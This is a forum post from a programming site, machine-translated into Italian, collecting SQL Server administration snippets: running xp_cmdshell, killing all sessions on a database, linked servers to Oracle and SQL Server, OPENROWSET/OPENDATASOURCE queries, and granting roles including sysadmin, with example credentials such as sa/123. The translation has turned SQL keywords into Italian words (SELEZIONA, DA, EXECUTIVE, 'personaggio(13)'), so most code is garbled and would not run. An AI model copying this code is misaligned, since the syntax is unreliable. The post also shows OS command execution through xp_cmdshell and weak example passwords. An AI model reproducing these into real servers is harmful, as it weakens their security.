master.dbo.xp_cmdshell 'dir'


seleziona count(*) da [indicare]
Consulta quanti dati ci sono nella tabella corrente




seleziona un nome host distinto,db_name(dbid),net_address,loginame,program_name

Dal maestro.. sysprocesses






seleziona * da gameDB01. Server01.dbo.cabal_character_table dove nome='

Maiale'





Quando lo elimini, dice: Il database è in uso e non può essere cancellato.


Clicca sul database che vuoi eliminare per aprire il Visualizzatore Eventi.


Input:


Utilizzo   

Maestro
Vai
Poi inserisci quanto segue:
dichiara @d Varchar(8000)
Set @d= ' '
seleziona @d=@d+ ' uccidi   

'+cast(spid come varchar)+personaggio(13)
Dal maestro.. sysprocesses dove dbid=db_id('nome libreria')
esecutivo(@d)
--
Usa il codice per eliminare prima il processo che si collega a questo database












MSSQL gestisce Oracle tramite LinkServer






1) Installare Oracle sul server SQL_SERVER 2005

9i. Supponiamo di installare nella directory C:\ora92i\. Se D: è una partizione NTFS, devi impostare la directory ORACLE installata come quella utilizzata

Gli abbonati hanno il diritto di eseguire, aggiungere e cancellare.


2)
Configura il file C:\ora92i\network\ADMIN\tnsnames.ora. (Il seguente testo rosso è un esempio di configurazione)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(INDIRIZZO = (PROTOCOLLO = TCP)(HOST = 192.168.0.11)(PORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orcl)


)


)


3)
Esegui il seguente comando in modalità DOS per confermare che il client ORACLE sia installato correttamente.


Utente/password@ORCL SQL


4)
Apri Start - Pannello di controllo - Servizi e conferma che il servizio Distributed Transaction Coordinator è avviato.



5) Open SQL SERVER Management Studio, Nome Istanza (ORCL) - Server Object (clic destro) - Nuovo Connection Server.


1.      


Server collegamento: Scrivi il nome del server collegato, come OracleTest


2.         
Tipo di server, selezionare una fonte dati diversa


3. Interfaccia di accesso:
Seleziona Oracle Provider per OLE DB


4. Nome prodotto: Write Oracle


5. Fonte dati: Scrivere un resoconto

Il nome del servizio configurato nel file tnsnames.ora, come ORCL


6.         
stringa dell'interfaccia di accesso: userid=sys as sysdba; password=password


7.         
Nella pagina Seleziona Opzioni di Sicurezza, usa questo contesto di installazione per stabilire una connessione:


a) Accesso remoto: utente (altro utente, non sys)


b)      

    Usa password: password


8. Imposta "NT AUTHORITY\SYSTEM" sull'accesso locale, sistema utente remoto e imposta la password


9.

         Sei sicuro


6) Ci sono due modi per scrivere SQL


a) Uso della sintassi T-SQL:


           SELEZIONA * DA

OraTest.ERP.BAS_ITEM_CLASS


           Nota che quando inserisci le istruzioni SQL in SQL Query Analyzer, presta attenzione al cambio cinese a piena e mezza larghezza

Possibile!


b) Usare la sintassi PLSQL:
           SELECT * FROM openquery(OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) Il secondo metodo di accesso è circa il 50% più veloce del primo; Il secondo metodo di accesso è direttamente collegato

ORACLE è comparabile; Il primo metodo di accesso può portare ad alcuni errori imprevisti, come:
           La tabella non esiste, né l'utente attuale

Non c'è accesso al tavolo, e così via.


           d) Se la colonna da accedere utilizza tipi di dati senza precisione, entrambe le seguenti

Questo è un bug di ORACLE che non può essere risolto e può essere evitato solo tramite una gestione speciale delle istruzioni di query:


     I metadati forniti dal provider OLE DB 'OraOLEDB.Oracle' per le colonne sono incoerenti. Le informazioni sui metadati vengono modificate all'esecuzione.










MSSQL aggiunse

Elimina l'utente e concedi i permessi


Usa il nome della tua biblioteca   
Vai   
--Aggiungi utenti   
EXECUTIVE sp_addlogin 'test' -- aggiungi login   
Esecutivo

sp_grantdbaccess N'test' - rendendolo un utente legittimo del database attuale   
esecutivo sp_addrolemember N'db_owner',

N'test' - concede tutti i permessi al proprio database   
--Questo crea utenti che possono accedere solo al proprio database e a ciò che è incluso nel database

Tabella pubblica per utenti ospiti   
Vai   
--Rimuovi l'utente di test   
exec sp_revokedbaccess N'test' -- Rimuovere l'accesso al database

Limite   
exec sp_droplogin N'test' -- elimina login   
Se lo crei in Enterprise Manager, usa:   
Enterprise Manager - Sicurezza

Sesso --Clic destro Accede--Nuovo accesso   
Elementi generali   
--Inserisci il nome utente nel nome   

--Il metodo di autenticazione viene selezionato in base alle tue esigenze (se usi l'autenticazione Windows, devi prima creare un nuovo utente tra gli utenti del sistema operativo)   

--Nelle impostazioni predefinite, seleziona il nome del database a cui vuoi accedere per il nuovo utente   
Elemento del ruolo del server   
Non scegliere nulla in questo   
banca dati

Elemento di accesso   
Controlla il nome del database a cui vuoi accedere per l'utente che crei   
Permette di inserire il ruolo nel database, seleziona "pubblico", "db_ownew"   
Certo, questo

L'utente creato dal campione è lo stesso dell'utente creato dall'affermazione sopra   



L'ultimo passo è impostare permessi di accesso specifici per utenti specifici, che possono essere riferiti al seguente esempio minimo:   

--Aggiungi gli utenti che possono accedere solo alla tabella specificata:   
Executive sp_addlogin 'nome utente', 'password', 'nome database predefinito'   

--aggiungi al database   
Esecutivo sp_grantdbaccess 'Username'   

--Assegna permessi a intere tabelle   
CONCEDE SELEZIONA, INSERISCI, AGGIORNA, ELIMINA NELLA TABELLA1 A [USERNAME]   
--Assegnare permessi a colonne specifiche   
CONCEDE SELEZIONAZIONE, AGGIORNA SU tabella1(id,AA) A [username]   


Per impostazioni di sicurezza specifiche e conoscenze teoriche, si prega di consultare SQL Online Help  







Descrizione fissa del ruolo nel database   
  db_owner Avere pieni permessi nel database.   

db_accessadmin Puoi aggiungere o rimuovere ID utente.   

db_securityadmin Può gestire permessi completi, proprietà degli oggetti, ruoli e appartenenze ai ruoli.   

db_ddladmin può emettere TUTTI i DDL, ma non dichiarazioni di CONCEDERE, REVOCARE o NEGARE.   

db_backupoperator può emettere istruzioni DBCC, CHECKPOINT e BACKUP.   

db_datareader Puoi selezionare tutti i dati da qualsiasi tabella utente nel database.   

db_datawriter Puoi modificare tutti i dati in qualsiasi tabella utente del database.   

db_denydatareader Non puoi selezionare dati da nessuna tabella utente nel database.   

db_denydatawriter Non puoi modificare alcun dato in nessuna tabella utente del database.  





Dovresti scegliere db_datareader, db_datawriter, db_accessadmin




5.
Dopo che l'istanza SQL Server è stata avviata in modalità utente singolo, l'account amministratore di Windows può utilizzare lo strumento sqlcmd per connettersi in modalità autenticazione Windows

SQL Server。 Puoi usare comandi T-SQL come "sp_addsrvrolemember" per aggiungere un login esistente al ruolo di sysadmin server

Oppure crea un nuovo account di accesso.
Un esempio di affermazione è il seguente:


EXECUTIVE sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';


VAI


Aggiungi un privilegio di sysadmin








(1) Gestione dei ruoli dei server


In SQL Server, esistono due principali stored procedure che implementano la gestione del ruolo di SQL Server:


sp_addsrvrolemember

e sp_dropsrvrolemember


sp_addsrvrolemember
Puoi aggiungere un account di accesso a un ruolo server per renderlo membro di quel ruolo server. La sintassi è la seguente:
sp_addsrvrolemember

login , ruolo


sp_dropsrvrolemember
Puoi eliminare un account di accesso da un ruolo server e, quando il membro viene rimosso dal ruolo server, non ha più quel ruolo server

I permessi impostati. La sintassi è la seguente:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'ruolo'


in cui

@loginname è il nome dell'utente effettuato l'accesso; @rolename è un ruolo da server.




(2) Gestire i ruoli nei database


In SQL Server è supportata la gestione dei database

Esistono sei tipi principali di stored procedure, e i loro significati e sintassi specifici sono i seguenti:


sp_addrole: Utilizzato per creare un nuovo ruolo nel database;
sp_addrole

Ruolo, proprietario


sp_droprole: Utilizzato per rimuovere un ruolo di database dall'attuale ruolo di database;
sp_droprole ruolo


sp_helprole:

Viene utilizzato per visualizzare tutte le informazioni su tutti i ruoli del database nel database corrente;
sp_helprole ['ruolo']


sp_addrolemember: Usato per inviare al database

Aggiungere utenti di database a un ruolo, che può essere ruoli standard definiti dall'utente o ruoli fissi nel database, ma non possono esserlo

Ruoli di candidatura.
sp_addrolemember ruolo, security_account


sp_droprolemember: Usato per cancellare un certo personaggio

domestico;
sp_droprolemember ruolo, security_account


sp_helprolemember: Utilizzato per visualizzare tutti i membri di un ruolo di database


sp_helprolemember ['ruolo']






Interrogazione MSSQL LINKSERVER


----------------------------------------------------------------------------------
-- Autore :

htl258(Tony)
-- Data : 2010-06-25 22:23:18
-- Versione: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9 lug 2008 14:43:34
-- Copyright (c) 1988-2008 Microsoft Corporation
--

Developer Edition su Windows NT 5.1 (Build 2600: Service Pack 2)
-- Blog : -- Oggetto:
Operazioni dati SQL tra diversi database server
----------------------------------------------------------------------------------
--1.
Crea un server di link
--1.1 Crea un nome di link
EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB', il nome del server remoto

o indirizzo IP' --
Se hai un nome di istanza personalizzato, aggiungi "\nome dell'istanza"
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Crea un login (o crea una mappa di login nel server di link) (scegli solo un modo)
--1.2.1
Accedi con l'autenticazione di Windows
EXECUTIVE sp_addlinkedsrvlogin 'LinkName'
--o EXEC sp_addlinkedsrvlogin 'LinkName', 'vero'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Accedi con l'autenticazione SQL
EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL, 'Username', 'Password'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink', 'false', null, 'sa', '123' */
--2.
Operazioni dati collegate al server di collegamento
--2.1 Esempio di query
SELEZIONA * DA LinkName.nome database.nome schema.nome tabella
/*例如:SELECT *

DA TonyLink.Mydb.dbo.tb */
--
2.2 Esempio di importazione
SELEZIONA * ENTRO nome della tabella DA LinkName.database.nome schema.nome tabella.nome tabella
/*例如:SELECT * INTO Newtb

DA TonyLink.Mydb.dbo.tb */
--
2.3 Esempio di aggiornamento
AGGIORNAMENTO LinkNome.Nome Database.Nome Schema.Nome Tabella SET campo='valore' DOVE campo='condizione'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Persons='g' WHERE Persons='a' */
--
2.4 Elimina gli esempi
ELIMINA LinkNome.Nome Database.Nome Schema.Nome Tabella DOVE nome campo='condizione'
/*例如:DELETE

TonyLink.Mydb.dbo.tb DOVE Persone='g' */
--3 tramite funzione di rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Metodo
-
3.1 Metodo OPENQUERY (richiede l'aiuto del server di link che hai appena creato):
--
3.1.1 Esempio di query
SELEZIONA * DA OPENQUERY(LinkName, 'SELEZIONA* DA nome database. Nome architettonico. Nome della tabella')
/*
Ad esempio: SELEZIONA * DA OPENQUERY(TonyLink, 'SELEZIONA * DA Mydb.dbo.tb') */
--
3.1.2 Esempi di importazione
--3.1.2.1 Importa tutte le colonne
INSERISCI OPENQUERY(LinkName, 'SELEZIONA * DA nome database. Nome architettonico. Nome della tabella

') SELEZIONA * DALLA tabella locale
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

DA TB */
--3.1.2.2
Importa le colonne specificate
INSERISCI OPENQUERY(LinkName, 'SELEZIONA * DA nome database. Nome architettonico. Nome della tabella') (colonna, colonna...)
colonna SELECT,

Colonna... DA la tabella locale
/*
Ad esempio: INSERISCI OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
SELEZIONARE

INTERVALLO, LIVELLO, Persone DI TB
*/
--3.1.3
Esempi di aggiornamento
AGGIORNAMENTO OPENQUERY(LinkName, 'SELEZIONA* DA nome database. Nome architettonico. nome della tabella') campo SET = 'valore' parola WHERE

Segmento = 'Condizione'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Persone='a' */
--3.1.4
Elimina esempi
ELIMINA OPENQUERY(LinkName, 'SELECT * FROM nome database. Nome architettonico. nome della tabella') DOVE nome campo='condizione'
/*例

Ad esempio: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */
--3.2
Metodo OPENROWSET (non è necessario usare il nome del link creato.) Se il nome dell'istanza connessa non è il predefinito, devi impostarlo nel nome del server SQL o nell'indirizzo IP.

"\nome dell'istanza")
--3.2.1 Esempio di query
--3.2.1.1
Interrogazione del metodo di autenticazione di Windows (uno dei seguenti metodi è sufficiente)
SELEZIONA * DA OPENROWSET('SQLOLEDB', 'server=nome server SQL oppure

indirizzo IP; Trusted_Connection=sì', nome del database. Nome architettonico. Nome della tabella)
SELEZIONA * DA OPENROWSET('SQLNCLI',

'server=nome server SQL o indirizzo IP; Trusted_Connection=sì', nome del database. Nome architettonico. Nome della tabella)
SELEZIONA * DA

OPENROWSET('SQLOLEDB', 'server=nome server sql o indirizzo IP; Trusted_Connection=sì','SELEZIONA * DAL database

Nome. Nome architettonico. Nome della tabella')
SELEZIONA * DA OPENROWSET('SQLNCLI', 'server=nome server SQL o indirizzo IP

Indirizzo; Trusted_Connection=sì','SELEZIONA * DA nome database. Nome architettonico. Nome della tabella')
/*
Ad esempio: SELEZIONA * DA OPENROWSET

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=sì',Mydb.dbo.tb)

Oppure: SELEZIONA * DA OPENROWSET

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=sì',Mydb.dbo.tb)

Oppure: SELEZIONA * DA OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=sì','SELEZIONA *

DA Mydb.dbo.tb')

Oppure: SELEZIONA * DA OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=sì','SELEZIONA *

DA Mydb.dbo.tb')
*/
--3.2.1.2 Query del metodo di autenticazione SQL (Uno dei seguenti metodi è sufficiente)
SELEZIONA * DA OPENROWSET

('SQLOLEDB', 'server=nome server sql o indirizzo IP; uid=username; PWD=password', nome database. Nome architettonico. Nome della tabella)
SELEZIONA * DA

OPENROWSET('SQLNCLI', 'server=nome server sql o indirizzo IP; uid=username; PWD=password', nome database. Nome architettonico. Nome della tabella)
SELEZIONA * DA OPENROWSET('SQLOLEDB', 'server=nome server SQL o indirizzo IP; uid=username; pwd=password','SELEZIONA *

Nome database DA ON. Nome architettonico. Nome della tabella')
SELEZIONA * DA OPENROWSET('SQLNCLI', 'server=nome server sql o indirizzo IP; uid=

Nome utente; pwd=password','SELEZIONA * DA nome database. Nome architettonico. Nome della tabella')
SELEZIONA * DA OPENROWSET('SQLOLEDB', 'SQL

nome del server'; 'username'; 'password', nome database. Nome architettonico. Nome della tabella)
SELEZIONA * DA OPENROWSET('SQLNCLI', 'NOME SERVER SQL'

'; 'username'; 'password', nome database. Nome architettonico. Nome della tabella)
SELEZIONA * DA OPENROWSET('SQLOLEDB', 'NOME SERVER SQL'; ' Utente

nome'; 'Password', 'SELEZIONA * DA nome database. Nome architettonico. Nome della tabella')
SELEZIONA * DA OPENROWSET('SQLNCLI', 'SQL SERVER

nome'; 'username'; 'Password', 'SELEZIONA * DA nome database. Nome architettonico. Nome della tabella')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Oppure: SELEZIONA * DA OPENROWSET

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Oppure: SELEZIONA * DA OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')

oppure: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM

Mydb.dbo.tb')

oppure: SELEZIONA * DA OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

oppure: SELEZIONA * DA OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

oppure: SELEZIONA * DA OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','SELEZIONA * DA Mydb.dbo.tb')

oppure: SELEZIONA * DA OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','SELEZIONA * DA Mydb.dbo.tb')
*/
--3.2.2 Esempio di importazione
--3.2.2.1 Importa tutte le colonne
INSERISCI OPENROWSET('SQLOLEDB', 'server=nome server SQL o indirizzo IP

Indirizzo; uid=username; PWD=password', nome database. Nome architettonico. Nome della tabella)
SELECT * FROM la tabella locale
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SELEZIONA * DA TB
*/
--3.2.2.2 Importazione

Specifica le colonne
INSERISCI OPENROWSET('SQLOLEDB', 'server=nome server sql o indirizzo IP; uid=username; PWD=password', nome database. armadio dati

Nome costrutto. Nome della tabella) (colonna, colonna...)
SELECT colonna, colonna... DA la tabella locale
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb)(INTERVALLO, LIVELLO, Persone)
SELEZIONARE

INTERVALLO, LIVELLO, Persone DI TB
*/
--Nota: Per metodi più alternativi, si riferisca all'esempio della query .2.1, basta sostituire la funzione OPENROWSET

Il contenuto è sufficiente.
--3.2.3 Esempio di aggiornamento
AGGIORNA OPENROWSET('SQLOLEDB', 'server=nome server sql o indirizzo IP; uid=username

;p wd=password', nome database. Nome architettonico. Nome della tabella)
Campo SET = 'valore'
DOVE campo = 'condizione'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Persone='g'
DOVE Persone='a'
*/
--Nota: Per metodi più alternativi, si riferisca all'esempio della query .2.1, basta sostituire il contenuto nell'OPENROWSET.
--3.2.4 Elimina l'indicazione

Esempio
ELIMINA OPENROWSET('SQLOLEDB', 'server=nome server sql o indirizzo IP; uid=username; PWD=password', nome database. Nome dello schema

.nome tabella)
DOVE nome campo='condizione'
/*
Ad esempio: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
DOVE

Persone='g'
*/
--Nota:
Per metodi più alternativi, vedi l'esempio della query .2.1, basta sostituire il contenuto nell'OPENROWSET.
--3.3 Metodo OPENDATASOURCE

(Non è necessario usare il nome del link creato.) Se il nome dell'istanza della connessione non è quello predefinito, devi aggiungere \nome di istanza dopo il nome o l'indirizzo IP del server SQL

")
--3.3.1
Esempio di query
--3.3.1.1 Query del metodo di autenticazione di Windows (Uno dei seguenti metodi è sufficiente)
SELEZIONA * DA OPENDATASOURCE('SQLOLEDB',

'server=nome server SQL o indirizzo IP; Trusted_Connection=sì'). Nome del database. Nome architettonico. Nome della tabella
SELEZIONA * DA

OPENDATASOURCE('SQLNCLI', 'server=nome server sql o indirizzo IP; Trusted_Connection=sì'). Nome del database. Nome architettonico.

Nome della tabella
/*
Ad esempio: SELEZIONA * DA OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=sì'). Mydb.dbo.tb

Oppure: SELEZIONA * DA OPENDATASOURCE

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=sì'). Mydb.dbo.tb
*/
--3.3.1.2
Query del metodo di autenticazione SQL (uno dei seguenti metodi è sufficiente)
SELEZIONA * DA OPENDATASOURCE('SQLOLEDB', 'server=nome server SQL oppure

indirizzo IP; uid=username; pwd=password').
Nome del database. Nome architettonico. Nome della tabella
SELEZIONA * DA OPENDATASOURCE('SQLNCLI', 'server=nome server sql o indirizzo IP; uid=utente

Nome; pwd=password').
Nome del database. Nome architettonico. Nome della tabella
SELEZIONA * DA OPENDATASOURCE('SQLOLEDB', 'Data Source=nome server sql o indirizzo IP

Indirizzo; uid=username; pwd=password').
Nome del database. Nome architettonico. Nome della tabella
SELEZIONA * DA OPENDATASOURCE('SQLNCLI', 'Data Source=nome server sql o indirizzo IP

Indirizzo; uid=username; pwd=password').
Nome del database. Nome architettonico. Nome della tabella
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Oppure: SELEZIONA * DA OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Oppure: SELEZIONA * DA OPENDATASOURCE('SQLOLEDB','Data

Fonte=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Oppure: SELEZIONA * DA OPENDATASOURCE('SQLNCLI','Data

fonte=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Importa tutte le colonne
INSERIRE OPENDATASOURCE('SQLOLEDB', 'server=nome server SQL o indirizzo IP; uid=username; pwd=password').

Secondo il nome della biblioteca. Nome architettonico. Nome della tabella
SELECT * FROM la tabella locale
/*
Ad esempio: INSERISCI OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SELEZIONARE

* DA TB
*/
--3.3.2.2
Importa le colonne specificate
INSERIRE OPENDATASOURCE('SQLOLEDB', 'server=nome server SQL o indirizzo IP; uid=username; pwd=password').

Secondo il nome della biblioteca. Nome architettonico. Nome della tabella (colonna, colonna...)
SELECT colonna, colonna... DA la tabella locale
/*
Ad esempio: INSERISCI OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(DISTANZA, LIVELLO, Persone)
SELEZIONA INTERVALLO, LIVELLO, Persone DA TB
*/
--Nota:
Per metodi alternativi, vedi l'esempio della query .3.1, basta sostituire il contenuto nella funzione set di righe (OPENDATASOURCE).
--3.3.3 Esempio di aggiornamento
AGGIORNA OPENDATASOURCE('SQLOLEDB', 'server=nome server sql o indirizzo IP; uid=username; pwd=password').
Nome del database. Nome architettonico. Nome della tabella
Campo SET = 'valore'
DOVE campo = 'condizione'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Persone='g'
DOVE Persone='a'
*/
--Nota:
Per metodi alternativi, vedi l'esempio della query .3.1, basta sostituire il contenuto nella funzione set di righe (OPENDATASOURCE).
--3.3.4 Elimina esempio
ELIMINA OPENDATASOURCE('SQLOLEDB', 'server=nome server sql o indirizzo IP; uid=username; pwd=password').
Nome del database. Nome architettonico. Nome della tabella
DOVE nome campo='condizione'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
DOVE Persone = 'g'
*/
- Nota: Altre alternative

Fai riferimento all'esempio della query .3.1, basta sostituire il contenuto nella funzione di riga (OPENDATASOURCE).
--
Elimina il metodo server collegato
--Se in futuro non userai più le informazioni del link, puoi cancellarle
--4.1
Elimina le informazioni di accesso (o elimina la mappa dei nomi di accesso del server collegato)
EXEC sp_droplinkedsrvlogin 'LinkName',NULL
/*
Ad esempio: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Elimina il nome del server collegato
EXEC sp_dropserver 'LinkName', 'droplogins' -- se sono specificati i droplogin,
La mappa di login deve essere cancellata prima di eliminare il server collegato
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Allegato


Come ottenere il nome del fornitore (EXEC). xp_enum_oledb_providers)
SELECT CAST([Nome Fornitore] COME

VARCHAR(30)) FornitoreNome,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
DA

OPENROWSET(
'SQLOLEDB',
'Server=.; Trusted_Connection=sì',
'INIZIA SOLO IL PRIMO PARTITO;
EXECUTIVE

Maestro.. xp_enum_oledb_providers'
)




Precedente:Dettagli sul processo di gestione delle vulnerabilità e ricompense su UCloud
Prossimo:Posso prendere un treno per tornare a casa oggi, e non sono tornato a casa da più di sei mesi
Pubblicato su 27/09/2017 17:43:11 |
Molto dettagliato. Grazie
 Padrone di casa| Pubblicato su 17/06/2023 11:12:11 |
Testa il test di iniezione SQL con lo strumento di infiltrazione SQLMAP
https://www.itsvse.com/thread-10611-1-1.html
Disconoscimento:
Tutto il software, i materiali di programmazione o gli articoli pubblicati dalla Code Farmer Network sono destinati esclusivamente all'apprendimento e alla ricerca; I contenuti sopra elencati non devono essere utilizzati per scopi commerciali o illegali, altrimenti gli utenti dovranno sostenere tutte le conseguenze. Le informazioni su questo sito provengono da Internet, e le controversie sul copyright non hanno nulla a che fare con questo sito. Devi eliminare completamente i contenuti sopra elencati dal tuo computer entro 24 ore dal download. Se ti piace il programma, ti preghiamo di supportare software autentico, acquistare la registrazione e ottenere servizi autentici migliori. In caso di violazione, vi preghiamo di contattarci via email.

Mail To:help@itsvse.com